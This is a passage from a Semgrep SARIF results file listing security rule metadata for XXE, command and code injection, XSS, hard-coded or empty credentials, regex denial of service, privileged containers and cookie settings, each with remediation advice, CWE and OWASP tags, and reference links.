`$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"help":{"markdown":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0)\n","text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","id":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","name":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"help":{"markdown":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","id":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","name":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","properties":{"precision":"very-high","tags":["CWE-1323: Improper Management of Sensitive Trace Data","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","id":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","name":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://www.youtube.com/watch?v=yYTkLUEdIyE](https://www.youtube.com/watch?v=yYTkLUEdIyE)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","id":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","name":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Heroku API Key detected"},"help":{"markdown":"Heroku API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Heroku API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","id":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","name":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response","id":"python.aws-lambda.security.tainted-html-response.tainted-html-response","name":"python.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","id":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","name":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"help":{"markdown":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples](https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples)\n","text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express","id":"javascript.express.code.vm2-express.vm2-express","name":"javascript.express.code.vm2-express.vm2-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm2-express.vm2-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service)\n - [https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html](https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html)\n - [https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/](https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/)\n","text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service","id":"yaml.docker-compose.security.privileged-service.privileged-service","name":"yaml.docker-compose.security.privileged-service.privileged-service","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.privileged-service.privileged-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"help":{"markdown":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"helpUri":"https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","id":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","name":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","id":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","name":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","id":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","name":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with 